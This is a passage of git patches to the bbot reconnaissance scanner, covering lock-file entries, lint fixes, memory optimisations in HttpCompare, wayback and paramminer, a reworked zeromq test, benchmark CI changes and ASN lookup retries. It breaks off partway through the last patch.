"sha256:930b0a5ee5ad0a2692c1904e5568ff0418a3fd34d81881be81088cab4427971d", size = 4023348, upload-time = "2026-06-17T18:49:58.844Z" }, + { url = "https://files.pythonhosted.org/packages/e9/7a/4bfd7f858f688d4c5d1fa233db73db76f8bbbb3b14cb83524537b0385e9b/cloudcheck-11.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:3b53fe1a8d6b00236b83ca4d4b09c35849796d881f91e830be0fc308b833beaa", size = 4634138, upload-time = "2026-06-17T18:50:22.217Z" }, + { url = "https://files.pythonhosted.org/packages/9c/4f/ceefbdb0e51c7619aea6f2cd0ae8fa03f780dcaafa04066c610b93171039/cloudcheck-11.0.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:306eae08478d71ba41f2ecce3cd9c71ea615bc9fbb6582a0e24d9dc1ce23bb21", size = 3910733, upload-time = "2026-06-17T18:50:33.188Z" }, + { url = "https://files.pythonhosted.org/packages/04/f2/96b16bc576b9744e80719f47cfb99a3a8a7a6d2c2f8d2bce48ccd21fc74e/cloudcheck-11.0.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:beba586bf2f92bcaf8e4f548703e91a35411d682fd2e9d4a75252f8abb94feb8", size = 4250434, upload-time = "2026-06-17T18:50:44.185Z" }, + { url = "https://files.pythonhosted.org/packages/40/59/ca056950fae4958004bffea1b04acbd71eb73c7276dce289d4dfa73dc5f7/cloudcheck-11.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:a61e9f448393075014dd067efa96d828a43b22fa7d7333fb2abd2038c25ed9e4", size = 4288492, upload-time = "2026-06-17T18:50:55.205Z" }, + { url = "https://files.pythonhosted.org/packages/60/20/971142441a8047595495f80c905bb0b5ad8b419f873459da59803d7eb653/cloudcheck-11.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:6a8ed879fee337217d72b94caf535c9c0bccaadb79fb301e792eee4675ad9e70", size = 1412638, upload-time = "2026-06-17T18:51:06.217Z" }, + { url = "https://files.pythonhosted.org/packages/62/65/9aa8117cdc06fa786b4cf80844bfd275bfcbeaffc9e12dc51d9780f2d3d3/cloudcheck-11.0.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:2888771c87eee65f6ed9e2217b6b511010bb00b8e5582c1eed0debded4eb0666", size = 1628377, upload-time = "2026-06-17T18:50:15.622Z" }, + { url = "https://files.pythonhosted.org/packages/66/5f/858b34d3739204b49f87ce48fde5d767838ac237f98506305318a62b10b4/cloudcheck-11.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:3306e66118bfb4b953389aa4ab054f8d0ef23650c0a2e388065f7e3298a0fb9a", size = 1603882, upload-time = "2026-06-17T18:50:09.889Z" }, + { url = "https://files.pythonhosted.org/packages/ed/9b/c7a4772dc8d56cc1ae786c1ea1cad5d8bb475e0b4aeb533a0a3c2f361c4d/cloudcheck-11.0.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:84120c98ac693d443736decbc823dc8bd3b13bffde115017b43e3ddd5ca68566", size = 4227330, upload-time = "2026-06-17T18:49:16.016Z" }, + { url = "https://files.pythonhosted.org/packages/d1/b7/8f7e3c349008bce17433dfc1cd879ed512c7ee1a576ac2951070118800a2/cloudcheck-11.0.0-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:99f275fd750d4929138a5886271387e3bc27411fd0c8350031b79eeae45bf12d", size = 3582307, upload-time = "2026-06-17T18:49:26.741Z" }, + { url = "https://files.pythonhosted.org/packages/4b/c8/5e1ef3fac7c519c6a81c2fbc79a985027fb0a3fb44d22b742eeb585d95cb/cloudcheck-11.0.0-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3fccb124c606ea49f1f239d308f645ca831f2f7d93dc52d329fa6dc30a340ac5", size = 4162437, upload-time = "2026-06-17T18:49:49.331Z" }, + { url = "https://files.pythonhosted.org/packages/3d/7e/ae8320c702808a3829ed6a0a946f211a3d0a1e87ea549c2ea492b04e0708/cloudcheck-11.0.0-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d7f743bb2677bcfdd1f0be2a6684cf25016eb14072175fa26908754f6209aafd", size = 4077819, upload-time = "2026-06-17T18:49:37.947Z" }, + { url = "https://files.pythonhosted.org/packages/86/f3/82233b52ff4261f9b5053358af55bdf0f935440194cbd3615667018800d6/cloudcheck-11.0.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:59495a6c28056dc8a4fae68dab691a600dc587d6229c75720accb22d6207383c", size = 4019660, upload-time = "2026-06-17T18:50:00.941Z" }, + { url = "https://files.pythonhosted.org/packages/21/75/9eb367c43276dca196e4bc66e10abc6a6c5c259448419ea7393fb4df778c/cloudcheck-11.0.0-cp314-cp314-manylinux_2_38_x86_64.whl", hash = "sha256:9c0b2e343181deb7c7b4ee8e86ec36d5a6c4851253212b7d53bdd25daf6668db", size = 3620603, upload-time = "2026-06-17T18:35:36.871Z" }, + { url = "https://files.pythonhosted.org/packages/a2/dc/a4b24c6c085ab00f11534e0c599cec351ecbae3d692a2cb286a4c535bc18/cloudcheck-11.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:f7aef74718eee4c9b6e969e4533ea47c5501ec8731bf2d2b0cfe4dec631bda90", size = 4627133, upload-time = "2026-06-17T18:50:23.837Z" }, + { url = "https://files.pythonhosted.org/packages/15/1d/391ef977bc9b127cf05ad6c88841fa4565ca7be24f20146fb04fa55d9089/cloudcheck-11.0.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:5342af8363b35361f6756c883d20259d10f7a94c3d184cf585d23873fabd7553", size = 3910942, upload-time = "2026-06-17T18:50:34.901Z" }, + { url = "https://files.pythonhosted.org/packages/ba/b4/0c020e1a1d3bd6379bb76b649bc35cf8fc777eaefc8726c77615b6c82a0a/cloudcheck-11.0.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:7557242f43d1b969706892a4cd36ebcfddf980f7aa3c2164ad08bd3db37d8a4e", size = 4250728, upload-time = "2026-06-17T18:50:45.676Z" }, + { url = "https://files.pythonhosted.org/packages/d6/65/eaa27711bdfdbbb9aef6ef44eb8e24cfa94b641d1154b3ef01300209660f/cloudcheck-11.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:9aaf4a90d69f73d25437fa85c221620d2767129c2e316abba4f899922d7335c6", size = 4285741, upload-time = "2026-06-17T18:50:56.675Z" }, + { url = "https://files.pythonhosted.org/packages/b3/6d/c7bc782a032ce1c1ef265008ad9830f7641a2aae29f7ea8fbe7be461215e/cloudcheck-11.0.0-cp314-cp314-win32.whl", hash = "sha256:92962761c205b4e9f2ebc850bd73562bac6f512e3c4c70fb622046053922a90a", size = 1321198, upload-time = "2026-06-17T18:51:09.128Z" }, + { url = "https://files.pythonhosted.org/packages/59/eb/d430a623b67b129e9134af671d951b352d3df9a51620bce08f1d80483a54/cloudcheck-11.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:b4fc5d78ec6f5d6b9ce043714bcaa5b2ff7486e37f41e7afd1ff25068d19ad7c", size = 1411999, upload-time = "2026-06-17T18:51:07.761Z" }, + { url = "https://files.pythonhosted.org/packages/01/aa/33f044bd8187a665a438a2a3ed3dbace0223b3d32ff5edd0c720f0a7e468/cloudcheck-11.0.0-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:17a2e301186f9ae5f99d995e4a5ffa24228bf442459f67f606ffcde05419e9ce", size = 4231207, upload-time = "2026-06-17T18:49:17.694Z" }, + { url = "https://files.pythonhosted.org/packages/cd/0a/0140e9548c0187416e9432b6a2bb9318de1d28e912c6e5fcc4886a157a6e/cloudcheck-11.0.0-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:57e738c8f966e72af7ffce129812671ed817d08d351feb4d3294be4f8da23a7d", size = 3575361, upload-time = "2026-06-17T18:49:28.492Z" }, + { url = "https://files.pythonhosted.org/packages/f1/f2/a9953a8076370acb6d794d3103f8c8fbc20dfe39fbb0277a36b35494768b/cloudcheck-11.0.0-cp314-cp314t-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8cd201d988fde63b871ecbcccdea1e627ce678317f00edcee12bc826536f8320", size = 4166427, upload-time = "2026-06-17T18:49:51.03Z" }, + { url = "https://files.pythonhosted.org/packages/e5/b7/c02e81e2b7a2d364a218178bb31ccfb1c767db58f354e529ad8de726f07a/cloudcheck-11.0.0-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:eb551c5f86e793ce3dc9f34b442e4c9de6d7fd43a34464b0dac442381ca52308", size = 4078347, upload-time = "2026-06-17T18:49:39.404Z" }, + { url = "https://files.pythonhosted.org/packages/89/4a/c17e9e75328616abfa0d866bb4635c829125c3ea384b8b6dc73f19bebf07/cloudcheck-11.0.0-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a1a787106003a1933a57bd40831768c93cd54cef2f4818062af28567c0312d8c", size = 4021537, upload-time = "2026-06-17T18:50:02.419Z" }, + { url = "https://files.pythonhosted.org/packages/fd/31/7b5e01aa583b99d551879b908faa2b9f914de4a1558c5f27798b3bfaa1b7/cloudcheck-11.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:ef330950e1777450c08235931e350c00d2dfa765d191a5c8aac710baaee1b99b", size = 4634939, upload-time = "2026-06-17T18:50:25.521Z" }, + { url = "https://files.pythonhosted.org/packages/68/48/28e9e0b5ce4b6c96594a2d14bc1a81d60120d87f4203b43b18822465d12d/cloudcheck-11.0.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:a144ac71f001a4e6abad037645a7bd41bbb898eb33126a799cc600abd914e048", size = 3908577, upload-time = "2026-06-17T18:50:36.526Z" }, + { url = "https://files.pythonhosted.org/packages/de/e1/6b2103d92d7bf190b39945e5991545f93c8dbf896d9f7c865c92d419c6b0/cloudcheck-11.0.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:b0989c3f508f4a38756bd157aede2de8b1108153bc2a85dfc29ae08d591c0f79", size = 4257415, upload-time = "2026-06-17T18:50:47.165Z" }, + { url = "https://files.pythonhosted.org/packages/8a/f1/11f1b3e3b24a6ad0b5932979625605660657b57004461253bf7a20fdffd6/cloudcheck-11.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:dfb72a729104a6319cde0528b89ad6d44ae19011b8885ac4c8bade557b12c330", size = 4288641, upload-time = "2026-06-17T18:50:58.118Z" }, + { url = "https://files.pythonhosted.org/packages/47/37/88cde4d22e8dbbcff5d6629ccd4cbc054bdfa8dc0ee8ff574e47946e1bda/cloudcheck-11.0.0-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:45f4284e324a991eda034102305cf44ecbb67c9433c6f85a69f1cf6a6bb3f10a", size = 4237816, upload-time = "2026-06-17T18:49:19.199Z" }, + { url = "https://files.pythonhosted.org/packages/a4/d7/22cbef7e3468a5b0a54885349d6e23b2aceb3479734de65190d4bf9e1e8c/cloudcheck-11.0.0-pp311-pypy311_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:365e27562452b881595f14380c14ac73c7deb878b9aa1f796381c8ec1f76620d", size = 3584392, upload-time = "2026-06-17T18:49:29.881Z" }, + { url = "https://files.pythonhosted.org/packages/1c/49/c86854f44feebbb41aec19e3cc1b3e97c55488015aa373c066168c92b445/cloudcheck-11.0.0-pp311-pypy311_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3844ad928c6183f871ea7d24ff10193b398d4d8272ff596028097a972af29be8", size = 4170429, upload-time = "2026-06-17T18:49:52.646Z" }, + { url = "https://files.pythonhosted.org/packages/fb/93/832b0c483195001499e865f035e6bcc45b92e123cb952fc6231c68c3e821/cloudcheck-11.0.0-pp311-pypy311_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:81626c120bfee2999ef22f0efc1c40a1b4ce3b3a24ffbc33cab076adc1c81a5b", size = 4082289, upload-time = "2026-06-17T18:49:40.876Z" }, + { url = "https://files.pythonhosted.org/packages/9e/c4/323151fd8237792d2b56a5d57e0d8959a891a08d2f2452dfbb3d3d5f5a5f/cloudcheck-11.0.0-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8ab511c4c389b62ba7a23633c20cd936183eda5b9314cb9099fbecfc0cd6fbac", size = 4029288, upload-time = "2026-06-17T18:50:04.047Z" }, + { url = "https://files.pythonhosted.org/packages/20/3e/1367c98b122fa8c6fe0990e93b4c6d205bef6fe0ebd14141faa8f7981d7f/cloudcheck-11.0.0-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:2aaefe50c58d5a7c29f330e68a67671c64e9d15a30a3235f5a0fd2e908218a97", size = 4644002, upload-time = "2026-06-17T18:50:27.093Z" }, + { url = "https://files.pythonhosted.org/packages/8d/db/1801dfce3a9a48e98ceec3e197a7a965061bc586731f85a529bae7bbd1a6/cloudcheck-11.0.0-pp311-pypy311_pp73-musllinux_1_2_armv7l.whl", hash = "sha256:501a157ade597755b800bfffca77a7c2433dadf64478c6def0ec7155fe466781", size = 3914354, upload-time = "2026-06-17T18:50:37.907Z" }, + { url = "https://files.pythonhosted.org/packages/0e/a2/e5e85cbe1efbb58c316d2d0ae31f79171b5e465201a6c4fee6df7032973c/cloudcheck-11.0.0-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:43a226f874e661c5e43c714571ed0743271029e53d1ac98547ddeb26a66bc5aa", size = 4263558, upload-time = "2026-06-17T18:50:48.692Z" }, + { url = "https://files.pythonhosted.org/packages/b0/14/f186c70bc5202f3cabfdd9fa5d521e6bee66d4c4e4db9d57123216069434/cloudcheck-11.0.0-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:31e996030240bc92ff6686c5e98bd5391cc8c5688ec48212006367ffba6358ae", size = 4293447, upload-time = "2026-06-17T18:50:59.594Z" }, ] [[package]] From 5e998c944ddd4e88a80f2fc3f6de0b1801f691a3 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 17 Jun 2026 21:15:38 -0400 Subject: [PATCH 867/912] Fix lint errors in E2E tests --- bbot/test/test_step_1/test_e2e.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/bbot/test/test_step_1/test_e2e.py b/bbot/test/test_step_1/test_e2e.py index 866259e2f4..07483d5705 100644 --- a/bbot/test/test_step_1/test_e2e.py +++ b/bbot/test/test_step_1/test_e2e.py @@ -11,7 +11,6 @@ import subprocess import sys import os -import signal import socket import textwrap import time @@ -181,7 +180,7 @@ def test_clean_shutdown(self, bbot_venv, tmp_path): # check output.json for clean completion output_json = tmp_path / "scans" / "e2e_shutdown" / "output.json" - assert output_json.is_file(), f"output.json not found" + assert output_json.is_file(), "output.json not found" events = [json.loads(line) for line in output_json.read_text().splitlines() if line.strip()] scan_events = [e for e in events if e.get("type") == "SCAN"] statuses = [e.get("data_json", {}).get("status") for e in scan_events] From a5b5f7c7a975cb0803651f22d247e24dfc8e9c15 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 17 Jun 2026 21:23:52 -0400 Subject: [PATCH 868/912] Find repo root via pyproject.toml instead of git --- bbot/test/test_step_1/test_e2e.py | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/bbot/test/test_step_1/test_e2e.py b/bbot/test/test_step_1/test_e2e.py index 07483d5705..ee030b8375 100644 --- a/bbot/test/test_step_1/test_e2e.py +++ b/bbot/test/test_step_1/test_e2e.py @@ -14,15 +14,27 @@ import socket import textwrap import time +from pathlib import Path import pytest +def _find_repo_root(): + """Find the bbot repo root from the source tree, without requiring git.""" + # Walk up from this test file to find pyproject.toml + d = Path(__file__).resolve().parent + for _ in range(10): + if (d / "pyproject.toml").is_file(): + return str(d) + d = d.parent + raise FileNotFoundError("could not locate repo root (no pyproject.toml found)") + + @pytest.fixture(scope="module") def bbot_venv(tmp_path_factory): """Create a fresh virtualenv and pip-install bbot from the local checkout.""" venv_dir = tmp_path_factory.mktemp("bbot_e2e_venv") - repo_root = subprocess.check_output(["git", "rev-parse", "--show-toplevel"]).decode().strip() + repo_root = _find_repo_root() subprocess.check_call([sys.executable, "-m", "venv", str(venv_dir)]) pip = str(venv_dir / "bin" / "pip") From 6de8c8132af6538528b144ae7f8ee8c000ac40e6 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 18 Jun 2026 10:43:33 -0400 Subject: [PATCH 869/912] Reduce memory allocation pressure in HttpCompare, wayback, and paramminer - HttpCompare: replace retained blasthttp Response with lightweight snapshot that spills body to BodySpillStore - wayback: batch YARA junk-URL matching into single blob match with offset mapping instead of per-URL calls - paramminer: scope already_checked per-URL so word sets are freed after finish() processes each endpoint --- bbot/core/helpers/diff.py | 61 +++++++++++++++++++++++++++++- bbot/modules/paramminer_headers.py | 12 +++--- bbot/modules/wayback.py | 55 +++++++++++++++++++++++---- 3 files changed, 113 insertions(+), 15 deletions(-) diff --git a/bbot/core/helpers/diff.py b/bbot/core/helpers/diff.py index dc258307d6..58e283af3b 100644 --- a/bbot/core/helpers/diff.py +++ b/bbot/core/helpers/diff.py @@ -8,6 +8,59 @@ log = logging.getLogger("bbot.core.helpers.diff") +class _BaselineSnapshot: + """Lightweight stand-in for a blasthttp Response held by HttpCompare. + + Stores only the fields external code accesses (status_code, headers, + text, content) and optionally spills the body to the scan's + BodySpillStore so the raw bytes don't pin Python heap memory for the + lifetime of the HttpCompare instance. + + The blasthttp Headers object is kept by reference (it survives + Response GC independently) to preserve case-insensitive lookups and + duplicate-header semantics that DeepDiff relies on. + """ + + __slots__ = ("status_code", "headers", "_text", "_spill_key", "_spill_store") + + def __init__(self, response, spill_store=None): + self.status_code = response.status_code + self.headers = response.headers + if spill_store is not None: + body_bytes = response.body_bytes or b"" + self._spill_key = f"baseline-{id(self):x}" + spill_store.write(self._spill_key, body_bytes) + self._spill_store = spill_store + self._text = None + else: + self._text = response.text + self._spill_key = None + self._spill_store = None + + @property + def text(self): + if self._text is not None: + return self._text + if self._spill_store is not None: + body = self._spill_store.read(self._spill_key) + if body is not None: + return body.decode("utf-8", errors="replace") + return "" + + @property + def content(self): + if self._spill_store is not None: + return self._spill_store.read(self._spill_key) or b"" + if self._text is not None: + return self._text.encode("utf-8", errors="replace") + return b"" + + def _cleanup(self): + if self._spill_store is not None and self._spill_key is not None: + self._spill_store.evict_and_delete(self._spill_key) + self._spill_key = None + + class HttpCompare: def __init__( self, @@ -92,7 +145,6 @@ async def _baseline(self): timeout=self.timeout, ) - self.baseline = baseline_1 if baseline_1 is None or baseline_2 is None: log.debug("HTTP error while establishing baseline, aborting") baseline_1_repr = f"HTTP {baseline_1.status_code}" if baseline_1 is not None else "None" @@ -145,6 +197,13 @@ async def _baseline(self): except Exception as e: log.debug(f"on_baseline_ready callback raised: {e}") + # Replace the heavy blasthttp Response with a lightweight + # snapshot. If the scan has a body_spill_store the body bytes + # are written to disk and served from the LRU cache on demand. + scan = getattr(self.parent_helper, "scan", None) + store = getattr(scan, "body_spill_store", None) + self.baseline = _BaselineSnapshot(baseline_1, spill_store=store) + def gen_cache_buster(self): return {self.parent_helper.rand_string(6): "1"} diff --git a/bbot/modules/paramminer_headers.py b/bbot/modules/paramminer_headers.py index aacebe698a..58ffbe946f 100644 --- a/bbot/modules/paramminer_headers.py +++ b/bbot/modules/paramminer_headers.py @@ -133,7 +133,7 @@ async def setup_deps(self): async def setup(self): self.recycle_words = self.config.get("recycle_words", True) self.event_dict = {} - self.already_checked = set() + self.already_checked = {} # global parameter blacklist (shared with excavate) — known framework/CDN/tracker names self.global_blacklist = {p.lower() for p in self.scan.config.get("parameter_blacklist", [])} @@ -165,10 +165,10 @@ def rand_string(self, *args, **kwargs): return self.helpers.rand_string(*args, **kwargs) async def do_mining(self, wl, url, batch_size, compare_helper): + url_checked = self.already_checked.setdefault(url, set()) for i in wl: if i not in self.wl: - h = hash(i + url) - self.already_checked.add(h) + url_checked.add(hash(i)) results = set() abort_threshold = 15 @@ -316,10 +316,9 @@ async def finish(self): except HttpCompareError as e: self.debug(f"Error initializing compare helper: {e}") continue + url_checked = self.already_checked.get(url, set()) words_to_process = { - i - for i in self._mutate_for_url(url, self.extracted_words_master) - if hash(i + url) not in self.already_checked + i for i in self._mutate_for_url(url, self.extracted_words_master) if hash(i) not in url_checked } try: results = await self.do_mining(words_to_process, url, batch_size, compare_helper) @@ -327,6 +326,7 @@ async def finish(self): self.debug(f"Encountered HttpCompareError: [{e}] for URL [{url}]") continue await self.process_results(event, results) + self.already_checked.pop(url, None) def _incoming_dedup_hash(self, event): # dedup by endpoint structure, not full URL string -- value mutations diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index 048e5422a4..184fc5973a 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -1,4 +1,5 @@ import re +import bisect from collections import Counter from datetime import datetime from urllib.parse import parse_qs, urlparse, urlunparse @@ -100,20 +101,58 @@ def _is_garbage_url(self, url): counts = Counter(segments) return counts.most_common(1)[0][1] > self._max_path_segment_repeats + # Per-URL match threshold for the YARA junk-URL rules. + # The akamai_bot_manager_url rule requires #strict_seg >= 2. + _junk_url_match_threshold = 2 + def _filter_urls_sync(self, urls): - """Drop blacklisted, garbage, and YARA-junk URLs in one pass. Returns (kept, junk_dropped).""" - kept = [] - junk_dropped = 0 + """Drop blacklisted, garbage, and YARA-junk URLs in one pass. Returns (kept, junk_dropped). + + YARA matching is batched: all candidate URLs are concatenated into + a single blob (newline-delimited) and matched once, then string + instance offsets are mapped back to individual URLs and counted + per-URL against ``_junk_url_match_threshold``. This replaces the + previous per-URL ``rules.match()`` call and cuts allocation + pressure from ~22 GB cumulative to a single match invocation. + """ + # Phase 1: cheap filters (blacklist + garbage) + candidates = [] for url in urls: if any(bl in url for bl in self.url_blacklist): continue if self._is_garbage_url(url): continue - if self._junk_url_rules.match(data=url): - junk_dropped += 1 - continue - kept.append(url) - return kept, junk_dropped + candidates.append(url) + + if not candidates: + return [], 0 + + # Phase 2: batch YARA match on concatenated blob + junk_set = set() + blob = "\n".join(candidates) + matches = self._junk_url_rules.match(data=blob) + if matches: + offsets = [] + pos = 0 + for url in candidates: + offsets.append(pos) + pos += len(url) + 1 + + match_counts = [0] * len(candidates) + for m in matches: + for s in m.strings: + for instance in s.instances: + idx = bisect.bisect_right(offsets, instance.offset) - 1 + if 0 <= idx < len(candidates): + match_counts[idx] += 1 + + threshold = self._junk_url_match_threshold + for idx, count in enumerate(match_counts): + if count >= threshold: + junk_set.add(idx) + + kept = [url for idx, url in enumerate(candidates) if idx not in junk_set] + return kept, len(junk_set) def _is_interesting_file(self, url): ext = get_file_extension(url) From 045fb9c311a51071a1480272373399b0f2c212ad Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 18 Jun 2026 11:48:03 -0400 Subject: [PATCH 870/912] Fix zeromq test hang by capturing sends instead of PUB/SUB recv --- .../module_tests/test_module_zeromq.py | 34 +++++++++---------- 1 file changed, 17 insertions(+), 17 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_zeromq.py b/bbot/test/test_step_2/module_tests/test_module_zeromq.py index 8c118570ef..7a1a6aa371 100644 --- a/bbot/test/test_step_2/module_tests/test_module_zeromq.py +++ b/bbot/test/test_step_2/module_tests/test_module_zeromq.py @@ -15,32 +15,32 @@ class TestZeroMQ(ModuleTestBase): } async def setup_before_prep(self, module_test): - # Setup ZeroMQ context and socket self.context = zmq.asyncio.Context() self.socket = self.context.socket(zmq.SUB) self.socket.connect("tcp://localhost:5555") self.socket.setsockopt_string(zmq.SUBSCRIBE, "") - async def check(self, module_test, events): - try: - events_json = [e.json() for e in events] - events_json.sort(key=lambda x: x["timestamp"]) - - # Collect events from ZeroMQ - zmq_events = [] - while len(zmq_events) < len(events_json): - msg = await self.socket.recv() - event_data = json.loads(msg.decode("utf-8")) - zmq_events.append(event_data) + async def setup_after_prep(self, module_test): + self.zmq_events = [] + zeromq_module = module_test.scan.modules["zeromq"] + original_send = zeromq_module.socket.send - zmq_events.sort(key=lambda x: x["timestamp"]) + async def capturing_send(data, *args, **kwargs): + self.zmq_events.append(json.loads(data.decode("utf-8"))) + return await original_send(data, *args, **kwargs) - assert len(events_json) == len(zmq_events), "Number of events does not match" + zeromq_module.socket.send = capturing_send - # Verify the events match - assert events_json == zmq_events, "Events do not match" + def check(self, module_test, events): + try: + events_json = [e.json() for e in events] + events_json.sort(key=lambda x: x["timestamp"]) + self.zmq_events.sort(key=lambda x: x["timestamp"]) + assert len(events_json) == len(self.zmq_events), ( + f"Event count mismatch: expected {len(events_json)}, got {len(self.zmq_events)}" + ) + assert events_json == self.zmq_events, "Events do not match" finally: - # Clean up: Close the ZeroMQ socket self.socket.close() self.context.term() From 58f16030f016c92da97626e3c7ffffb173f47cce Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 18 Jun 2026 14:00:24 -0400 Subject: [PATCH 871/912] Fix benchmark CI: tolerate test failures, remove invalid config keys --- bbot/scripts/benchmark_report.py | 50 ++++++++++++------- .../test_event_validation_benchmarks.py | 8 ++- 2 files changed, 36 insertions(+), 22 deletions(-) diff --git a/bbot/scripts/benchmark_report.py b/bbot/scripts/benchmark_report.py index 2c64e9c399..a5b06aec92 100644 --- a/bbot/scripts/benchmark_report.py +++ b/bbot/scripts/benchmark_report.py @@ -47,7 +47,11 @@ def checkout_branch(branch: str, repo_path: Path = None): def run_benchmarks(output_file: Path, repo_path: Path = None) -> bool: - """Run benchmarks and save results to JSON file.""" + """Run benchmarks and save results to JSON file. + + Returns True if benchmark JSON was written (even if some tests failed), + False only if benchmarks truly didn't produce any data. + """ print(f"Running benchmarks, saving to {output_file}") # Check if benchmarks directory exists @@ -57,23 +61,35 @@ def run_benchmarks(output_file: Path, repo_path: Path = None) -> bool: print("This branch likely doesn't have benchmark tests yet.") return False - try: - cmd = [ - "uv", - "run", - "python", - "-m", - "pytest", - "bbot/test/benchmarks/", - "--benchmark-only", - f"--benchmark-json={output_file}", - "-q", - ] - run_command(cmd, cwd=repo_path, capture_output=False) + cmd = [ + "uv", + "run", + "python", + "-m", + "pytest", + "bbot/test/benchmarks/", + "--benchmark-only", + f"--benchmark-json={output_file}", + "-q", + ] + result = subprocess.run(cmd, cwd=repo_path, capture_output=True, text=True) + + # Print pytest output so failures are visible in CI logs + if result.stdout: + print(result.stdout) + if result.stderr: + print(result.stderr) + + if result.returncode != 0: + print(f"Pytest exited with code {result.returncode}") + + # pytest-benchmark writes JSON regardless of test failures; + # treat the run as successful if the output file has data + if output_file.exists() and output_file.stat().st_size > 0: return True - except subprocess.CalledProcessError: - print("Benchmarks failed for current state") - return False + + print("Benchmark output file was not written") + return False def load_benchmark_data(filepath: Path) -> Dict[str, Any]: diff --git a/bbot/test/benchmarks/test_event_validation_benchmarks.py b/bbot/test/benchmarks/test_event_validation_benchmarks.py index 4c34e7b3ed..2d2738670b 100644 --- a/bbot/test/benchmarks/test_event_validation_benchmarks.py +++ b/bbot/test/benchmarks/test_event_validation_benchmarks.py @@ -11,12 +11,10 @@ def setup_method(self): # Set deterministic random seed for reproducible benchmarks random.seed(42) - # Create a minimal scanner with no modules to isolate event validation performance + # Create a minimal scanner config to isolate event validation performance self.scanner_config = { - "modules": None, # No modules to avoid overhead - "output_modules": None, # No output modules - "dns": {"disable": True}, # Disable DNS to avoid network calls - "web": {"http_timeout": 1}, # Minimal timeouts + "dns": {"disable": True}, + "web": {"http_timeout": 1}, } def _generate_diverse_targets(self, count=1000): From b942be06aafb523fa5269fe2b92a0be3a50ee484 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 18 Jun 2026 21:51:26 -0400 Subject: [PATCH 872/912] Graceful asndb API failure handling with circuit breaker --- bbot/core/event/helpers.py | 42 ++++++++++++----- bbot/core/helpers/asn.py | 23 +++++++++ bbot/errors.py | 4 ++ bbot/scanner/scanner.py | 13 +++-- bbot/test/test_step_1/test_helpers.py | 68 +++++++++++++++++++++++++++ bbot/test/test_step_1/test_target.py | 47 ++++++++++++++++++ 6 files changed, 181 insertions(+), 16 deletions(-) diff --git a/bbot/core/event/helpers.py b/bbot/core/event/helpers.py index 93a8b50cf9..43517462da 100644 --- a/bbot/core/event/helpers.py +++ b/bbot/core/event/helpers.py @@ -290,23 +290,39 @@ class ASN(BaseEventSeed): def _override_input(self, input): return f"ASN:{self.data}" - # ASNs are essentially just a superset of IP_RANGES. - # This method resolves the ASN to a list of IP_RANGES using the ASN API, and then adds the cidr string as a child event seed. - # These will later be automatically resolved to an IP_RANGE event seed and added to the target. + MAX_RETRIES = 3 + RETRY_DELAY = 3 + async def _generate_children(self, ssl_verify=False): + import asyncio + import logging + from asndb import ASNDB + log = logging.getLogger("bbot.core.event.helpers") client = ASNDB(verify=ssl_verify) - asn_data = await client.lookup_asn(str(self.data), include_subnets=True) - children = [] - if asn_data: - subnets = asn_data.get("subnets") - if isinstance(subnets, str): - subnets = [subnets] - if subnets: - for cidr in subnets: - children.append(cidr) - return children + last_error = None + for attempt in range(1, self.MAX_RETRIES + 1): + try: + asn_data = await client.lookup_asn(str(self.data), include_subnets=True) + children = [] + if asn_data: + subnets = asn_data.get("subnets") + if isinstance(subnets, str): + subnets = [subnets] + if subnets: + for cidr in subnets: + children.append(cidr) + return children + except Exception as 